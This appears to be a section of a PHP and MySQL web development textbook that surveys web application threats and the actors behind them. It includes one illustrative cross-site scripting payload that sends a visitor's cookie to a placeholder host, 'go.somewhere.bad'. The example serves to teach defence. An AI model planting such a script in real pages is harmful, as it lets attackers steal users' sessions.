Identifying the Threats | Core Web Application Development with PHP and MySQL

Part of planning for application security and secure designs is understanding the problems we face. We will now turn to identifying threats we will encounter and the actors who might cause these threats to be realized against us.

The Threats

While there are a staggering number of ways in which our applications can be compromised (and people are constantly thinking up new ones), they tend to fall into a number of broad categories.

Access to or Modification of Sensitive Data

Part of our job as web application designers and programmers is to ensure that any data the user or other departments entrust to us is safe. When we expose parts of this information to users of our web application, they must see only the information that they are permitted to, and not the information for other users.

For E-Commerce sites, the most obvious example of this would be credit card information. If we stored credit card numbers and expiration dates, anybody who managed to get access would be able to go on a very nice shopping trip (provided he did not get caught doing so). The damage to our business would be devastatingcustomers would flee en masse, and our reputation would be tarnished. We can avoid this by asking ourselves (as we did in "What to Store and What Not to Store" in Chapter 15, "User Management") whether we want to truly store credit card information for the user.

Similarly, if we are writing a front end for an online stock or mutual funds trading system, people who can access our account tables might be able to find out information, such as users' taxpayer identification numbers (Social Security NumbersSSNin the USA), personal information about how much and what securities the users hold, and even bank account information.

Even the exposure of a table full of names and addresses is a serious violation of security. Customers value their anonymity, and a huge list of names and addresses, plus some inferred information about them ("these people like to shop at online tobacco stores") creates a potential sellable item to marketing firms that do not play by the rules.

It would be even worse if somebody found a way to manipulate them. A happy bank customer might find his account a few thousand dollars richer, or customer shipping addresses might be modified, causing some happy person to receive packages that should have been sent elsewhere.

Loss or Destruction of Data

Finding that some portion of our data has been deleted or destroyed is also a serious problem. If somebody manages to destroy tables in our database, our business could face irrecoverable consequences. If we are an online bank that displays bank account information, and we lose all of the information for a particular account, we are not a good bank. Worse, if the entire table of users is deleted, we will find ourselves spending a large amount of time reconstructing databases.

It is important to note that loss or destruction of data does not have to come from malicious or accidental misuse of our system. If the building in which our servers are housed burns down along with the servers and hard disks, we have lost a large amount of data, and we should have adequate backups and disaster recovery plans for this. (See the "Disaster Planning" section in Chapter 17, "Securing Your Web Applications: Software and Hardware Security.)

Denial of Service

Malicious users often find that, while they cannot penetrate the application they are targeting and gain access to privileged data, they can interfere with the operation of the server and prevent others from gaining access. These denial of service (DoS) attacks can range from finding a way to crash our server to creating such a high load that it cannot respond to other users' requests.

Access to our server can be denied in any number of ways:

Crashing our computers
Filling up the hard disks so that no new data can be written to them
Causing too many processes to be created on the machine, which uses up all available memory and slows down or prevents existing processes from executing properly
Causing hardware failures on the server (perhaps by interfering with device driver operation)
Flooding the network with so much data that the server is unable to see or respond to incoming traffic

At various points over the years, network-based distributed denial of service (DDoS) attacks, in which large number of computers are infected with vulnerable software, have launched devastating attacks on businesses, such as new networks, software firms, and political organizations. Having your servers rendered useless for hours can be a serious burden. If you consider how ubiquitous many major sites on the Internet appear to be and how you always expect them to be there, any downtime is a problem.

A denial of service can come from forces other than misuse. Even if we have robust backups stored off-site, if the building with our servers in it burns down, is buried in a mudslide, or is destroyed by alien invaders, and we do not have a plan for getting those computers back online rapidly, we might find ourselves losing customers for days.

Malicious Code Injection

A new breed of attack that has been particularly effective through the Web is malicious code injection. The most famous of these is the Cross Site Scripting attack (known as XSS so as not to be confused with Cascading Style Sheets, or CSS). What is troubling about these attacks is that there is no obvious or immediate loss of data, but instead there is code that executes, causing varying degrees of information loss or redirection of the user.

Cross Site Scripting works as follows:

The malicious user is in a form that will turn around and display to other people the input it was given (such as a comment entry form or message board entry form). It enters text that not only represents the message the malicious user wishes to enter, but also some script to execute on the client:

 <script>   document.location = "go.somewhere.bad?cookie=" + this.cookie; </script>

The malicious user submits the form and waits.

The next user of the system who views the page of text entered by the malicious user executes the script code that was entered. In our example, this person is redirected along with any cookie information he has from the originating site.

While this is a trivial example, client-side scripting is a very powerful language, and the possibilities for what this attack could do are frightening.

Compromised Server

While the effects of this can include many of the threats listed earlier, it is still worth noting that the goal of some invaders is to gain access to our system, most often as a super-user (administrator on Windows-based systems and root on Unix-like systems). With this, they have free reign over the compromised computer and can execute any program they wish, shut the computer off, or install bad software.

We should be vigilant against this type of attack since one of the first things an attacker is likely to do is to cover his tracks and hide the evidence.

The Forces of Evil

While we might instinctively classify people who cause us security problems as bad or malicious, there are often other actors in this arena who are unwitting participants and might not appreciate being called such.

Crackers

The most obvious and famous group are crackers. We will resist the urge to call them hackers since most real hackers are honest and well-intentioned programmers. This group attempts to find weaknesses and work its way past these to achieve its goals. These people can be driven by greed, or they can simply be talented individuals looking for the thrill of breaking in to a system. While these actors present a serious threat to us, it is a mistake to focus all of our efforts on them.

Unwitting Users of Infected Machines

In addition to crackers, we have a large number of people to worry about. With all the weaknesses and security flaws in many pieces of modern software, an alarming percentage of computers are infected with software that performs many tasks. A user of your internal corporate network might have some of this software on his machine, and that software might be attacking your server without drawing notice.

Disgruntled Employees

Another group about which you might have to worry are employees who are intent on causing their company harm. Whatever the motivation, they might attempt to become amateur hackers or acquire tools by which they can probe and attack servers from inside the corporate network. If we secure ourselves from the outside world but leave ourselves exposed internally, we are not secure. This is a good argument for implementing a demilitarized zone (DMZ), which we will cover in the Chapter 17 "DMZs" section.

People Walking into the Server Room

A security threat that you might not think to protect yourself against is somebody simply walking into the server room, unplugging a piece of equipment, and walking out of the building with it. You might find yourself surprised at how easy it is to stroll into corporate offices without anybody suspecting anything. Somebody walking into the right room at the right time might find himself with a shiny new server along with hard disks full of sensitive data.

Ourselves

As devastating as it is to hear, one of the biggest headaches we might have for security is ourselves and the code we write. If we do not pay attention to security and write sloppy code, we have given malicious users a helping hand in their attempts to compromise our system.

The Internet is particularly unforgiving to those prone to carelessness or laziness, so we must properly secure ourselves. The hardest part of sticking to this mantra is convincing a boss or check-signer that this is worthwhile. A few minutes teaching them about the negative effects of security lapses should be enough to convince them that the extra effort will be worthwhile in a world where reputation is everything.